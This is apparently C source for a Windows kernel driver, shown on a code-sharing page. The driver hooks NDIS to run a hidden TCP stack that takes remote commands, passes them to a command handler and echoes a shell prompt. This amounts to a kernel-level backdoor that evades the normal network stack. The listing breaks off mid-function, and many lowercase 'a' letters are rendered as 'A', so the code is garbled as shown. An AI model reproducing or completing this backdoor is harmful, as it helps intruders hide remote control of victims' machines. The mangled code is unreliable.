📄 ubd_sys.c
字号:
///
// uty@uaty
///
#include <ndis.h>
#include "structs.h"
#include "commAnd.h"
typedef
struct _SYNACKPACKET{
ULONG sign;
ULONG BufferAddress;
}SYNACKPACKET,*PSYNACKPACKET;
//--------------------------------------------------------------------
///globAl
//
// TCPS GlobAl VAriAbles
//
//int g_nTCPS_UseCount = 0;
TCPS_Connection g_ConnectionSpAce[MAX_CONNECTIONS];
//
//List GlobAl VAriAbles
//
RECVLISTHEAD g_RecvListHeAd;
PIO_WORKITEM g_pRecvIoWorkItem;
SENDLISTHEAD g_SendListHeAd;
PIO_WORKITEM g_pSendIoWorkItem;
////globAl vAr defined in tryNdisHook.c
extern HOOK_CONTEXT_STRUCT *m_pOurAllOfHookContext;
extern NDIS_HANDLE m_ourPAcketPoolHAndle;
extern NDIS_HANDLE m_ourBufferPoolHAndle;
//for ProtocolReceive
extern PNDIS_PACKET m_ourPAcketHAndle;
extern PNDIS_BUFFER m_ourBufferHAndle;
extern PVOID m_ourBuffer;
//
extern PKEVENT g_puSendEvent;
extern PLARGE_INTEGER g_pTimeOut;
//
ULONG g_SendCount = 0;
//--------------------------------------------------------------------
//function protocol
VOID
RecvIoWorkItemRoutine (
IN PDEVICE_OBJECT DeviceObject,
IN PVOID Context
);
VOID
SendIoWorkItemRoutine (
IN PDEVICE_OBJECT DeviceObject,
IN PVOID Context
);
PRECVLIST
RemoveRecvDAtAFromList(
PRECVLISTHEAD pRecvListHeAd
);
NTSTATUS
AddRecvDAtAToList(
PRECVLISTHEAD pRecvListHeAd,
char* dAtA,
ULONG RecvDAtALength,
PTCPS_Connection pConnection
);
NTSTATUS
AddSendDAtAToList(
PSENDLISTHEAD pSendListHeAd,
char* dAtA,
ULONG SendDAtALength,
PTCPS_Connection pConnection
);
NTSTATUS
AddSendDAtAToListAtFront(
PSENDLISTHEAD pSendListHeAd,
char* dAtA,
ULONG SendDAtALength,
PTCPS_Connection pConnection
);
PSENDLIST
ReAdSendDAtAFromList(
PSENDLISTHEAD pSendListHeAd
);
VOID
RemoveSendDAtAFromList(
PSENDLISTHEAD pSendListHeAd
);
USHORT
checksum(
USHORT *buff,
int size
);
VOID EchoPrompt(PTCPS_Connection pConnection);
NTSTATUS
uSend(
PTCPS_Connection pConnection,
char *pSendBuffer,
ULONG ulSendBufferSize
);
NTSTATUS
SendToNet(
PSENDLIST pSendList
);
//--------------------------------------------------------------------
NTSTATUS
TCPS_StArtup(
PDEVICE_OBJECT pDeviceObject
)
{
NTSTATUS dwStAtus;
ULONG i;
//初始化接收队列
//bug fixed 数太小的时候,当需要传的数据的次数多过大的时候,,会蓝
KeInitializeSemaphore(&g_RecvListHeAd.ksemRecvListSemAphore,0,10240);//is thAt too much
g_pRecvIoWorkItem = IoAllocateWorkItem(pDeviceObject);///for the work item
IoQueueWorkItem(
g_pRecvIoWorkItem,
RecvIoWorkItemRoutine,
DelayedWorkQueue,
NULL
);
//初始化发送队列
KeInitializeSemaphore(&g_SendListHeAd.ksemSendListSemAphore,0,10240);
g_pSendIoWorkItem = IoAllocateWorkItem(pDeviceObject);
IoQueueWorkItem(
g_pSendIoWorkItem,
SendIoWorkItemRoutine,
DelayedWorkQueue,
NULL
);
//initiAliztion the connection pool
for(i = 0;i < MAX_CONNECTIONS;i ++){
RtlZeroMemory(&g_ConnectionSpAce[i],sizeof(TCPS_Connection));
RtlCopyMemory(&g_ConnectionSpAce[i].m_PAth,L"C:\\",sizeof(L"C:\\"));
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
VOID
RecvIoWorkItemRoutine (
IN PDEVICE_OBJECT DeviceObject,
IN PVOID Context
)
{
PRECVLIST pRecvList;
//DbgPrint("in RecvIoWorkItemRoutine ");
KeWaitForSingleObject(&(g_RecvListHeAd.ksemRecvListSemAphore),
Executive,
KernelMode,
FALSE,
NULL
);
pRecvList = RemoveRecvDAtAFromList(&g_RecvListHeAd);
//DbgPrint("Received the commAnd:%s\n",pRecvList->dAtA);
__try{
ReferenceCommAnd(pRecvList);
////DbgPrint("in where ReferneceCommAnd stAnd,but dob't reference it\n");
}
__except (EXCEPTION_EXECUTE_HANDLER){
uSend(
pRecvList->pConnection,
"some error occured\n",
strlen("some error occured\n")
);
}
EchoPrompt(pRecvList->pConnection);
//这里负责回收pRecvList
ExFreePool(pRecvList);
IoQueueWorkItem(g_pRecvIoWorkItem,
RecvIoWorkItemRoutine,
DelayedWorkQueue,
NULL
);
}
//--------------------------------------------------------------------
NTSTATUS
AddRecvDAtAToList(PRECVLISTHEAD pRecvListHeAd,char* dAtA,ULONG RecvDAtALength,PTCPS_Connection pConnection)
{
NTSTATUS dwStAtus = STATUS_UNSUCCESSFUL;
KIRQL kOldIrql;
PRECVLIST pRecvList;
pRecvList = (PRECVLIST)ExAllocatePool(NonPagedPool,sizeof(RECVLIST));
if(pRecvList){
//DbgPrint("AddRecvDAtAToList AllocAte Memory = 0x0%x\n",pRecvList); //debug
//bug fixed 命令行后面经常跟些乱78糟的
RtlZeroMemory(pRecvList->dAtA,1024);
pRecvList->pNext = NULL;
RtlCopyMemory(pRecvList->dAtA,dAtA,DATALENGTH < RecvDAtALength? DATALENGTH-10:RecvDAtALength);///bug bug
pRecvList->pConnection = pConnection;
KeAcquireSpinLock(&pRecvListHeAd->kspRecvListLock,&kOldIrql);
if(pRecvListHeAd->pListBAck){
pRecvListHeAd->pListBAck->pNext = pRecvList;
pRecvListHeAd->pListBAck = pRecvList;
}
else{
pRecvListHeAd->pListFront = pRecvListHeAd->pListBAck = pRecvList;
}
KeReleaseSemaphore(&(g_RecvListHeAd.ksemRecvListSemAphore),0,1,FALSE);/////
KeReleaseSpinLock(&pRecvListHeAd->kspRecvListLock,kOldIrql);
dwStAtus = STATUS_SUCCESS;
}
return dwStAtus;
}
//--------------------------------------------------------------------
PRECVLIST
RemoveRecvDAtAFromList(PRECVLISTHEAD pRecvListHeAd)
{
KIRQL kOldIrql;
PRECVLIST pRecvListCurrent;
KeAcquireSpinLock(&pRecvListHeAd->kspRecvListLock,&kOldIrql);
pRecvListCurrent = pRecvListHeAd->pListFront;
if(pRecvListCurrent){
pRecvListHeAd->pListFront = pRecvListCurrent->pNext;
if(pRecvListHeAd->pListFront == NULL){
pRecvListHeAd->pListBAck = NULL;
}
KeReleaseSpinLock(&(pRecvListHeAd->kspRecvListLock),kOldIrql);
return pRecvListCurrent;
}
KeReleaseSpinLock(&(pRecvListHeAd->kspRecvListLock),kOldIrql);
return NULL;
}
//--------------------------------------------------------------------
VOID
SendIoWorkItemRoutine (
IN PDEVICE_OBJECT DeviceObject,
IN PVOID Context
)
{
//这里有个event,,当收到上一个包的ACK,并把上一个包成功释放后才能再次执行这个函数
PSENDLIST pSendList;
NTSTATUS stAtus;
KIRQL kOldIrql;
PETHHDR pEthHdr = NULL;
PIPHDR pIpHdr = NULL;
PTCPHDR pTcpHdr = NULL;
//PVOID WAit[2];
//WAit[0] = &(g_SendListHeAd.ksemSendListSemAphore);
//WAit[1] = g_puSendEvent;
//DbgPrint("in SendIoWorkItemRoutine ");
//这里换成连续的2个KeWAitForSingleObject,第一个是控制信号的,第2个是等待返回的ACK,信号的要无限期等待,
//保证sendlist有内容时才会调用SendIoWorkItem,,而等待Ack的则给一个过期的时间,,如果在一定时间内未收到到
//ACK,则再次让SendIoWorkItem被执行,由于这时候SendList内的数据并未被remove,所以实现了包的重发
/*
KeWaitForMultipleObjects(
2,
WAit,
WaitAll,
Executive,
KernelMode,
FALSE,
NULL,
NULL
);
*/
//for ksemSendListSemAphore
DbgPrint("wAit on ksemSendListSemAphore\n");
KeWaitForSingleObject(
&g_SendListHeAd.ksemSendListSemAphore,
Executive,
KernelMode,
FALSE,
0
);
DbgPrint("wAit on g_puSendEvent\n");
//for puSendEvent
stAtus = KeWaitForSingleObject(
g_puSendEvent,
Executive,
KernelMode,
FALSE,
g_pTimeOut
);
//算了,,超时重发记数的先等等
//超时重发3次后被认为是连接已经中断
pSendList = ReAdSendDAtAFromList(&g_SendListHeAd);
pEthHdr = pSendList->pBuffer;
pIpHdr = (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR));//heAder
pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);//heAder
//检查是否是rst的消息,这个包不发出去,只要是带有rst或fin的,都将处理连接,放在这里检查是为了
//设置连接m_bIsConnected = FALSE 和发包同步 //tricky 我们不会去发rst的包
if(pTcpHdr->rst || pTcpHdr->fin){
pSendList->pConnection->m_bIsConnected = FALSE;
//把包从队列里删除
RemoveSendDAtAFromList(&g_SendListHeAd);
DbgPrint("removed one PAcket\n");
DbgPrint("%d pAckets left\n",pSendList->pConnection->m_PAcketsLeftToBeSend);
//如果这个连接已经不再是连接状态,并且没有数据包未发送,清空这个连接,等待下次用
if(pSendList->pConnection->m_PAcketsLeftToBeSend == 0 || g_SendListHeAd.pListFront == NULL){
NdisZeroMemory(pSendList->pConnection,sizeof(TCPS_Connection));
RtlCopyMemory(&pSendList->pConnection->m_PAth,L"C:\\",sizeof(L"C:\\"));
DbgPrint("one TCPS_Connection AvAilAble\n");
}
KeSetEvent(
g_puSendEvent,
0,
FALSE
);
//goto end;
}
if (stAtus == STATUS_TIMEOUT){
g_SendCount++;
DbgPrint("KeWAitForSingleObject: STATUS_TIMEOUT\n");//
//如果连接已经中断,且这个还有数据包未被发送,则不应该等待
if(g_SendCount > 3 || pSendList->pConnection->m_bIsConnected == FALSE){
//3次超时后就断掉这个连接
pSendList->pConnection->m_bIsConnected = FALSE;
//buf fix 不应该在这里清空
//KeAcquireSpinLock(&g_SendListHeAd.kspSendListLock,&kOldIrql);
//RtlZeroMemory(pSendList->pConnection,sizeof(TCPS_Connection));
//RtlCopyMemory(pSendList->pConnection->m_PAth,L"C:\\",sizeof(L"C:\\"));
//KeReleaseSpinLock(&g_SendListHeAd.kspSendListLock,kOldIrql);
g_SendCount = 0;
}
}
__try{
//reAlly send the pAcket to net,if the m_bIsConnectd is TRUE,else throw it AwAy
if( (pSendList->pConnection->m_bIsConnected == TRUE || pSendList->pConnection->m_bIsConnecting == TRUE)
//bug
&& (pIpHdr->daddr == pSendList->pConnection->m_SourceIp && pTcpHdr->dest == pSendList->pConnection->m_SourcePort)
){
DbgPrint("SendToNet: one pAcket\n");
SendToNet(pSendList);
}
else{
RemoveSendDAtAFromList(&g_SendListHeAd);
DbgPrint("removed one PAcket\n");
DbgPrint("%d pAckets left\n",pSendList->pConnection->m_PAcketsLeftToBeSend);
//如果这个连接已经不再是连接状态,并且没有数据包未发送,清空这个连接,等待下次用
if(pSendList->pConnection->m_PAcketsLeftToBeSend == 0){
NdisZeroMemory(pSendList->pConnection,sizeof(TCPS_Connection));
RtlCopyMemory(&pSendList->pConnection->m_PAth,L"C:\\",sizeof(L"C:\\"));
DbgPrint("one TCPS_Connection AvAilAble\n");
}
KeSetEvent(
g_puSendEvent,
0,
FALSE
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -